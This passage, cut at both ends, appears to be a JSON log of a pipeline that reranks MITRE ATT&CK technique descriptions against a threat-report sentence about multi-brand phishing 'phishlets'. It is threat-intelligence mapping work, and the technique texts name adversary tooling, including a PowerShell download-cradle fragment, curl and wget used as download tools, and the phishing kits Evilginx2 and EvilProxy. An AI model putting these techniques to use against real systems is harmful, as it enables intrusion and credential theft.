0.0004177093505859375, + "rank": 73 + }, + { + "item_id": "T1548.006", + "score": 0.0003795623779296875, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 25120 + } + }, + "evidence_sha256": "1721b5b272aa2faab55fa952321c610ce67c4bbded02fcb67b80395f161dd06e" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 836.4, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: Utilizing these “phishlets,” you can configure the server to phish multiple brands at once" + }, + "items": [ + { + "id": "T1608", + "text": "ATT&CK technique: T1608 Stage Capabilities\nDescription: Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed (Develop Capabilities) or obtained (Obtain Capabilities) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications. Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct Drive-by Compromise when a user browses to a site. * Staging web resources for a link target to be used with spearphishing. * Uploading malware or tools to a location accessible to a victim network to enable Ingress Tool Transfer. * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: Asymmetric Cryptography with Web Protocols).\nTactics: resource development\nPlatforms: PRE\nLabeled report example: This campaign uses Discord services to form a URL to host malicious payloads as follows: *https://cdn.discordapp.com/attachments/ChannelID/AttachmentID/filename.exe*" + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: *Figure 14: Landing page targeting multiple brands*" + }, + { + "id": "T1583", + "text": "ATT&CK technique: T1583 Acquire Infrastructure\nDescription: Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost. Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: The other 12 spear phishing emails were sent from domain names previously registered by them, imitating a specific organization." + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE\nLabeled report example: In the recent past, these domains resolved to the following IP addresses, each of which hosted newly registered domains lexically close to legitimate domains and possibly connected to the skimmer attacks." + }, + { + "id": "T1189", + "text": "ATT&CK technique: T1189 Drive-by Compromise\nDescription: Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including: * A legitimate website is compromised, allowing adversaries to inject malicious code * Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary * Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising) * Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting) Browser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser. Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. Typical drive-by compromise process: 1. A user visits a website that is used to host the adversary controlled content. 2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes. 3. Upon finding a vulnerable version, exploit code is delivered to the browser. 4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered. Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\nTactics: initial access\nPlatforms: Identity Provider, Linux, Windows, macOS\nLabeled report example: It is also found to be delivered by masquerading as a legitimate application installer uploaded to file-sharing services and luring victims via drive-by download campaigns." + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS\nLabeled report example: Visitors are instructed to download and install Privacy Tools software via a specific section of the website." + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: * GC threat actors used either compromised or spoofed email addresses." + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1056", + "text": "ATT&CK technique: T1056 Input Capture\nDescription: Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture).\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: The threat actor, an APT who we assess with high confidence supports Islamic Revolutionary Guard Corps (IRGC) intelligence collection efforts, established backstopping for their credential phishing infrastructure by compromising a legitimate site of a highly regarded academic institution to deliver personalized credential harvesting pages disguised as registration links." + }, + { + "id": "T1036", + "text": "ATT&CK technique: T1036 Masquerading\nDescription: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS\nLabeled report example: In most attacks, newly registered domains are typosquatting for legitimate web services, such as Google ads, CDNs, Jquery, Magento, etc., as typosquatting increases the chance of remaining undetected in legitimate traffic." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: *Figure 6: Phishing landing page referencing an externally hosted JavaScript to load phishing content*" + }, + { + "id": "T1491", + "text": "ATT&CK technique: T1491 Defacement\nDescription: Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.\nTactics: impact\nPlatforms: ESXi, IaaS, Linux, Windows, macOS\nLabeled report example: These attacks are used for everything from data theft to site defacement to distribution of malware." + }, + { + "id": "T1114", + "text": "ATT&CK technique: T1114 Email Collection\nDescription: Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses. Adversaries can collect or forward email from mail servers or clients.\nTactics: collection\nPlatforms: Linux, Office Suite, Windows, macOS\nLabeled report example: * Email contact stealer" + }, + { + "id": "T1567", + "text": "ATT&CK technique: T1567 Exfiltration Over Web Service\nDescription: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: **Abusing legitimate communication and analytics services in skimmer attacks**" + }, + { + "id": "T1190", + "text": "ATT&CK technique: T1190 Exploit Public-Facing Application\nDescription: Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration. Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Stealth or Exploitation for Client Execution. If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies. Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses. For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.\nTactics: initial access\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: The latest techniques include compromising vulnerable versions of e-commerce platforms, hosting skimmer scripts on CDNs and cloud services, and using newly registered domains (NRDs) lexically close to any legitimate web service or specific e-commerce store to host malicious skimmer scripts." + }, + { + "id": "T1140", + "text": "ATT&CK technique: T1140 Deobfuscate/Decode Files or Information\nDescription: Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. Another example is using the Windows copy /b or type command to reassemble binary fragments into a malicious payload. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site." + }, + { + "id": "T1105", + "text": "ATT&CK technique: T1105 Ingress Tool Transfer\nDescription: Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`). Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: The emails contained links to download Microsoft Excel documents containing macros that, when enabled, downloaded the Dridex malware designed to steal banking and other personal information." + }, + { + "id": "T1195", + "text": "ATT&CK technique: T1195 Supply Chain Compromise\nDescription: Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including: * Manipulation of development tools * Manipulation of a development environment * Manipulation of source code repositories (public or private) * Manipulation of source code in open-source dependencies * Manipulation of software update/distribution mechanisms * Compromised/infected system images (removable media infected at the factory) * Replacement of legitimate software with modified versions * Sales of modified/counterfeit products to legitimate distributors * Shipment interdiction While supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims. Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. In some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component. This may allow the threat actor to spread to even more victims.\nTactics: initial access\nPlatforms: Linux, SaaS, Windows, macOS\nLabeled report example: While there is still much to be uncovered, the public details point to [a known Russian APT](https://www.cisa.gov/news/2021/01/05/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure) inserting code into a third-party IT provider’s services, allowing for further targeting of approximately 50 organizations." + }, + { + "id": "T1583.004", + "text": "ATT&CK technique: T1583.004 Server\nDescription: Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in Drive-by Compromise, enabling Phishing operations, or facilitating Command and Control. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused. Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1078", + "text": "ATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks." + }, + { + "id": "T1132", + "text": "ATT&CK technique: T1132 Data Encoding\nDescription: Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems. Some data encoding systems may also result in data compression, such as gzip.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The skimmer script has a Base64-encoded fake payment page and skimmed data is sent to the attacker-controlled domain." + }, + { + "id": "T1592.004", + "text": "ATT&CK technique: T1592.004 Client Configurations\nDescription: Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: listening ports, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1583.008", + "text": "ATT&CK technique: T1583.008 Malvertising\nDescription: Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements. Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software. Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts. Malvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser. Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement. Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584", + "text": "ATT&CK technique: T1584 Compromise Infrastructure\nDescription: Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks. By using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.007", + "text": "ATT&CK technique: T1583.007 Serverless\nDescription: Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to Hide Infrastructure.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.002", + "text": "ATT&CK technique: T1583.002 DNS Server\nDescription: Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic (DNS). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584.004", + "text": "ATT&CK technique: T1584.004 Server\nDescription: Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1104", + "text": "ATT&CK technique: T1104 Multi-Stage Channels\nDescription: Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult. Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features. The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of 